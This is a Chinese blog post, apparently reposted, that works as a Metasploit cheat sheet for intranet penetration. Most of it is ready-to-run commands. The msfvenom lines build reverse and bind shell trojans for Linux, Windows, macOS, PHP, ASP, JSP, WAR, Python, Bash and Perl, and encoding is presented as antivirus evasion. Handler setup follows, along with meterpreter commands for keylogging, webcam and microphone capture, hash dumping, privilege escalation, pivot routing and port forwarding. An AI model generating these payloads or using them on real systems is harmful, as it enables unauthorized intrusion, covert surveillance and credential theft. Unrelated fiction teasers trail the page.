【渗透神器系列】Metasploit

转自:https://thief.one/2017/08/01/1/?hmsr=toutiao.io&utm_medium=toutiao.io&utm_source=toutiao.io

今天玩了一把内网渗透,其中主要用到了 metasploit 这款内网渗透神器。metasploit大家肯定不陌生,我也在很早之前就有接触过,但每次重新使用它时都会遗忘一些用法,因此为了方便查询我在本篇记录下metasploit神器的一些常用命令,以及内网渗透中如何使用它。
Mac下安装metasploit
mac下安装metasploit比较简单,官网下载pkg安装包,直接安装即可;需要注意的是安装完成后的路径。msfconsole路径:
1

/opt/metasploit-framework/bin

该目录下还有其他几个常用的工具:

msf的插件路径:
1

/opt/metasploit-framework/embedded/framework/modules/exploits

msfvenom
作用:生成木马文件,替代早期版本的msfpayload和msfencoder。
Options
msfvenom命令行选项如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

-p, --payload <payload> 指定需要使用的payload(攻击荷载)
-l, --list [module_type] 列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all
-n, --nopsled <length> 为payload预先指定一个NOP滑动长度
-f, --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e, --encoder [encoder] 指定需要使用的encoder(编码器)
-a, --arch <architecture> 指定payload的目标架构
--platform <platform> 指定payload的目标平台
-s, --space <length> 设定有效攻击荷载的最大长度
-b, --bad-chars <list> 设定规避字符集,比如: '\x00\xff'
-i, --iterations <count> 指定payload的编码次数
-c, --add-code <path> 指定一个附加的win32 shellcode文件
-x, --template <path> 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
--payload-options 列举payload的标准选项
-o, --out <path> 保存payload
-v, --var-name <name> 指定一个自定义的变量,以确定输出格式
--shellest 最小化生成payload
-h, --help 查看帮助选项
--help-formats 查看msf支持的输出格式列表

options usage
查看支持的payload列表:
1

msfvenom -l payloads

查看支持的输出文件类型:
1

msfvenom --help-formats

查看支持的编码方式:(为了达到免杀的效果)
1

msfvenom -l encoders

查看支持的空字段模块:(为了达到免杀的效果)
1

msfvenom -l nops

基础payload
命令格式
1

msfvenom -p <payload> <payload options> -f <format> -o <path>

Linux
1
2
3
4

反向连接:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
正向连接:
msfvenom -p linux/x86/meterpreter/bind_tcp LHOST=<Target IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

Windows
1

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

Mac
1
2

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
Web Payloads

PHP
1
2

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP
1

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

JSP
1

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

WAR
1
2

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.wa
Scripting Payloads

Python
1

msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

Bash
1

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

Perl
1

msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

Linux Based Shellcode
1

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Windows Based Shellcode
1

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Mac Based Shellcode
1
2

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
Handlers

payload加编码
命令格式:
1

msfvenom -p <payload> <payload options> -a <arch> --platform <platform> -e <encoder option> -i <encoder times> -b <bad-chars> -n <nopsled> -f <format> -o <path>

常用编码:
1
2

x86/shikata_ga_nai
cmd/powershell_base64

例子:
1

msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3 -f exe > 1.exe

自选模块
生成执行计算器payload例子:
1

msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > 1.exe

payload的坑
正常情况下,利用msfvenom生成的木马文件,可直接上传到目标服务器上运行(加权限)。但我自己遇到过一个坑,生成的文件内容有部分是无用的,会引起报错,如下图所示。

解决方案是vim文件,删除文件开头两行无效的内容。
msfconsole
作用:用来在命令行下启动metasploit。
启动后可看到metasploit当前版本,以及各个模块的插件数量。
auxiliary扫描模块
exploits漏洞利用模块
payloads
encoders编码模块
nops空字符模块

search寻找模块
比如寻找ms15_034漏洞的利用插件
1

search ms15_034


配合木马弹Shell
前面我介绍了如何使用msfvenom生成木马文件,这里我介绍如何使用msf连接上被执行的木马文件,达到控制目标服务器。
常用payload
首先我们回顾一下生成木马文件的命令,其中有一个payload的选项,常用的几个payload。linux相关payload:
1
2
3
4
5
6

linux/x86/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp
linux/x86/shell_bind_tcp
linux/x86/shell_reverse_tcp
linux/x64/shell_reverse_tcp
linux/x64/shell_bind_tcp

windows相关payload:
1
2
3
4
5
6
7
8

windows/meterpreter/reverse_tcp
windows/meterpreter/bind_tcp
windows/shell_reverse_tcp
windows/shell_bind_tcp
windows/x64/meterpreter/reverse_tcp
windows/x64/meterpreter/bind_tcp
windows/x64/shell_reverse_tcp
windows/x64/shell_bind_tcp

注意:含有x64只适用目标服务器为64位操作系统的,没有x64或者使用x86的只适用32位操作系统;含有meterpreter的模块会反弹meterpreter_shell,而普通的shell模块只会反弹普通的shell(反弹结果跟nc类似);reverse_tcp表示木马会主动连接目标服务器,bind_tcp表示木马会监听本地的端口,等待攻击者连接。因此生成的木马文件,要根据具体情况而定。
payload选择
前面介绍了常用的payload,那么payload选择的三大要素如下:
木马连接的方向
目标操作系统及版本
反弹的shell类型

木马连接方向:msf木马分为正向连接与反向连接,正向连接适合攻击机能给连接目标机的情况,反向连接使用目标机能连接攻击机的情况,这里所说的连接一般是指tcp的某个端口。因此在生成木马前,需要先判断当前环境,适合正向连接木马还是反向连接的木马。(可以使用nc工具测试,详细参考:【渗透神器系列】nc
目标操作系统类型查看:这个不说了!操作系统位数查看:
1

getconf LONG_BIT

反弹shell类型:这个主要取决于反弹的shell的用途,一般执行系统命令的话普通操作系统的shell就够了。如果想要使用高级功能,比如:键盘记录,开启摄像头,添加路由等功能,可以使用meterpreter_shell。
连接木马
开启msf,启用exploit/multi/handler模块。
1
2
3
4
5
6

use exploit/multi/handler
set payload linux/x86/meterpreter/bind_tcp
show options
set RHOST 10.0.0.1
set LPORT 12345
exploit


注意:这里set的payload跟生成木马使用的payload要一致,其余的参数根据选择的payload而填写。
meterpreter shell
当我们拿到目标服务器的meterpreter_shell后,可以进行很多操作。
1
2
3

backgroud 将msf进程放到后台
session -i 1 将进程拖回前台运行
run vnc 远程桌面的开启

文件管理功能:
1
2
3
4
5
6
7
8

Download 下载文件
Edit 编辑
cat 查看
mkdir 创建
mv 移动
rm 删除
upload 上传
rmdir 删除文件夹

网络及系统操作:
1
2
3
4
5
6
7
8
9
10
11

Arp 看ARP缓冲表
Ifconfig IP地址网卡
Getproxy 获取代理
Netstat 查看端口链接
Kill 结束进程
Ps 查看进程
Reboot 重启电脑
Reg 修改注册表
Shell 获取shell
Shutdown 关闭电脑
sysinfo 获取电脑信息

用户操作和其他功能讲解:
1
2
3
4
5
6
7
8
9
10
11

enumdesktops 用户登录数
keyscan_dump   键盘记录-下载
keyscan_start  键盘记录 - 开始
keyscan_stop   键盘记录 - 停止
Uictl      获取键盘鼠标控制权
record_mic    音频录制
webcam_chat   查看摄像头接口
webcam_list   查看摄像头列表
webcam_stream  摄像头视频获取
Getsystem    获取高权限
Hashdump    下载HASH

meterpreter添加路由
大多时候我们获取到的meterpreter shell处于内网,而我们需要代理到目标内网环境中,扫描其内网服务器。这时可以使用route功能,添加一条通向目标服务器内网的路由。
查看shell网络环境:
1

meterpreter>run get_local_subnets

添加一条通向目标服务器内网的路由
1

meterpreter>run autoroute -s 100.0.0.0/8 (根据目标内网网络而定)

查看路由设置:
1

meterpreter>run autoroute –p

一般来说,在meterpreter中设置路由便可以达到通往其内网的目的。然而有些时候还是会失败,这时我们可以background返回msf>,查看下外面的路由情况。
1

route print

如果发现没有路由信息,说明meterpreter shell设置的路由并没有生效,我们可以在msf中添加路由。
1

msf>route add 10.0.0.0 255.0.0.0 1

说明:1表示session 1,攻击机如果要去访问10.0.0.0/8网段的资源,其下一跳是session1,至于什么是下一条这里不多说了,反正就是目前攻击机可以访问内网资源了。
meterpreter端口转发
假设目前我们扫描到了10网段的某个ip存在mysql弱口令,账号密码都有了,那么我们可以在肉鸡服务器上登陆目标服务器mysql。当然,如果我想在攻击机上去登陆mysql,可以使用端口转发。(某些情况下,内网的机器也不能互相ssh,需要登陆堡垒机)
在meterpreter shell中输入:
1

meterpreter > portfwd add -l 55555 -r 10.0.0.1 -p 3306

表示将10.0.0.1服务器上的3306端口转发到本地的55555端口,然后我们可以在本地运行mysql –h 127.0.0.1 –u root –P 55555 –p 去登陆mysql。其他端口如ssh、ftp等都类似,这个过程跟msf代理很像。
网络上关于metasploit用法的资料很多,这里主要记录一些常用用法,以及个人使用过程中的一些坑
参考文章:http://www.freebuf.com/sectool/72135.htmlhttp://blog.csdn.net/lzhd24/article/details/50664342http://blog.csdn.net/qq_34457594/article/details/52756458http://www.freebuf.com/sectool/56432.htmlhttp://www.freebuf.com/articles/network/125278.html
传送门
【渗透神器系列】DNS信息查询【渗透神器系列】nc【渗透神器系列】nmap【渗透神器系列】Fiddler【渗透神器系列】搜索引擎【渗透神器系列】WireShark

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,233评论 4 360
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,013评论 1 291
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,030评论 0 241
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,827评论 0 204
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,221评论 3 286
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,542评论 1 216
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,814评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,513评论 0 198
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,225评论 1 241
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,497评论 2 244
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,998评论 1 258
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,342评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,986评论 3 235
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,055评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,812评论 0 194
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,560评论 2 271
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,461评论 2 266

推荐阅读更多精彩内容